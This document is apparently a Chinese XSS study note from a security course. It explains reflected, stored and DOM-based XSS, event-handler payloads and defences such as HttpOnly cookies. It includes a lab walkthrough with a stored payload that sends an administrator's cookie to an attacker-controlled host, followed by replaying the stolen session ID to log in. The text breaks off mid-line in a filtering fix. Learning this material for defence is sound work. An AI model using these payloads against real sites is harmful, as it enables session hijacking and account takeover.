xss学习笔记
跨站脚本攻击
-
掌握XSS 的原理
-
掌握XSS 的场景
-
掌握XSS 的危害
-
掌握XSS 漏洞验证
-
掌握XSS 的分类跨站脚本攻击
漏洞概述
跨站点脚本（Cross Site Scripting， XSS）是指客户端代码注入攻击，攻击者可以在合法网站或Web 应用程序中执行恶意脚本。当web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时，就会发生XSS。
跨站脚本攻击，XSS (Cross Site Scripting)。由于与CSS (Cascading Style Sheet) 重名，所以就更名为XSS。
XSS 作为OWASP TOP 10（2017）内容之一，主要使用JavaSript 来完成恶意攻击的行为，JS 可以非常灵活的操纵HTML、CSS、浏览器，这就使得XSS 攻击“想象”空间非常大。也就是说，JS 强大的灵活性和功能，为XSS 攻击提供了非常广阔的攻击面
XSS 漏洞原理
XSS 通过将精心构造的代码（JavaScript）注入到网页中，并由浏览器解释运行这段JS 代码，以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页，XSS 脚本就会被提取出来，用户浏览器就会解析执行这段代码，也就是说用户被攻击了。整个XSS 攻击过程，涉及三个角色：
-
服务器
-
攻击者
-
客户端浏览器用户（前端）
注意：
-
搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方，都有可能被注入XSS 代码，都存在遭受XSS 的风险。
-
等待受害者访问被注入恶意代码的页面，很被动，盲打。
-
XSS 攻击目标是客户端浏览器用户，由于浏览器的类别不同，攻击效果不同，甚至于同一款浏览器，攻击效果都不一样
XSS 漏洞危害
XSS 是利用JS 代码实现攻击，有很多危害：
-
盗取各种用户账号；
-
窃取用户Cookie 资料，冒充用户身份进入网站；
-
劫持用户会话执行任意操作；
-
刷流量，执行弹窗广告；
-
传播蠕虫病毒；
-
…
XSS漏洞验证
可以使用一段简单的代码，验证和检测漏洞的存在，这样的代码叫做POC（Proof of Concept）。验证XSS 漏洞存在的POC 如下：
如果页面弹窗，浏览器把用户提交的字符串当做JS 来执行，并且执行成功，说明XSS 漏洞存在
XSS漏洞分类
-
反射型XSS
-
存储型XSS
-
DOM 型XSS
反射型XSS
非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中，例如搜索框的反射型XSS。
注意到，反射型XSS 代码出现在keywords 参数中
http://10.4.7.130/cms/search.php?
keywords=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&button=%E6%90%9C%E7%B4%A2
容易被发现，利用难度高，很多漏洞提交平台不收反射型XSS 漏洞
存储型XSS
持久性跨站脚本。持久性体现在XSS 代码不是在某个参数（变量）中，而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方，可以在留言板位置进行留言，将恶意代码写进数据库中。
危害面比较广，漏洞提交平台会接收此类漏洞
DOM 型XSS
DOM 型XSS 是一种XSS 攻击，其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行，并不会将payload 上传到服务器，这也使得DOM 型XSS 比较难以检测
http://10.4.7.130/xss_test/DOM-XSS/?message=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://10.4.7.130/xss_test/DOM-XSS/#message=%3Cscript%3Ealert(/xss/)%3C/script%3E
注意：
-
修改DOM 树执行；
-
采用# 号的方式，参数不会提交到服务器
XSS攻防案例
-
理解XSS 漏洞危害
-
掌握固定会话攻击的方法
固定会话
原理
用户会话令牌利用Cookie 来实现的，Cookie 是存储在浏览器端的一小段文本，相当于身份证，会有窃取和欺骗的风险。
可以利用XSS 攻击窃取到浏览器里的Cookie 信息。
由于XXS 触发需要浏览器客户端用户（受害者）参与，攻击者不清楚何时何地会触发漏洞，这个过程一般被成为XSS 盲打
XSS平台
待补充
xss防御注释
直接在搜索框执行xss代码
发现没有执行
在cms的search.php中注释掉这一行
随后即可执行
xss攻击过程模拟
攻击者将该xss攻击代码通过浏览器写入后台
内容中的ip为kali的ip
<script>document.write('
+document.cookie+'" width=0 height=0 border=0/>');script>
转义过后
<script>document.write(\'<img src=\"http://10.4.7.138/\'+document.cookie+\'\" width=0 height=0 border=0/>\')\;script>
kali开启http服务用于接受cookie返回值
在浏览器通过留言板写入后台
当管理员登录后台看到数据的时候返回cookie
username=admin
userid=1
PHPSESSID=j2qv5iepuh58p5eenc158p3816
攻击者进入后台管理登录页，然后使用控制台写入cookie信息
document.cookie='username=admin'
document.cookie='userid=1'
document.cookie='PHPSESSID=j2qv5iepuh58p5eenc158p3816'
然后直接访问admin页，无密码登录成功
影响
-
黑客可以利用Cookie 信息，也就是身份凭据，登录后台；
-
即使管理员注销登录，会话依然有效；
-
即使管理员修改了密码，会话依然有效
防御
-
根据实际情况采用“单点登录”；
-
采用Session 机制；
-
设置token 值；
-
对Cookie 数据，设置HttpOnly 属性；
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2020 02:16:57 GMT
Server: Apache
X-Powered-By: PHP/5.6.40
Set-Cookie: username=AJEST; expires=Mon, 23-Nov-2020 03:16:57 GMT; Max-Age=3600; path=/; domain=localhost;
httponly
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
xss攻防
-
掌握XSS 的构造方法
-
掌握XSS 的变形方式
-
掌握XSS 的防御手段
xss构造方法
通过何种方法触发XSS
利用
<img src = https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg>
<script>alert(/xss/)</script>
javascript伪协议
可以通过URL 载入资源的标签
<a href = javascript:alert(/xss/) >click me!</a>
<img src = "javascript:alert(/xss/)"> <!-- IE6 -->
XSS 攻击的是浏览器，受前端影响比较大。浏览器的类型，版本等因素都会影响XSS 的效果
事件响应
“事件驱动”是一种比较典型的编程思想
| 事件类型 | 说明 |
|---|---|
| window 事件 | 对window 对象触发的事件 |
| Form 事件 | HTML 表单内触发的事件 |
| Keyboard 事件 | 键盘事件 |
| Mouse 事件 | 鼠标事件 |
| Media 事件 | 由多媒体触发的事件 |
<img
src = "https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg">
<img
onmouseover = 'alert(/dont touch me!/)'
src = "https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg">
<input type = 'text' onkeydown = 'alert(/xss/)'>
<input type = 'text' onkeyup = 'alert(/xss/)'>
其它标签
<svg onload='alert(/xss/)'>
<input onfocus=alert(/xss/) autofocus>
参考
Cross-site scripting (XSS) cheat sheet
xss变形方式
cms 网站搜索框存在反射性XSS 漏洞，POC 如下：
<script>alert(/xss/)</script>
尝试在代码角度，对XSS 漏洞进行修复：修改 /cms/search.php 文件，对 $_GET[‘keywords’] 进行过滤，代码如下：
$keyword = $_GET['keywords'];
// $keyword = str_replace("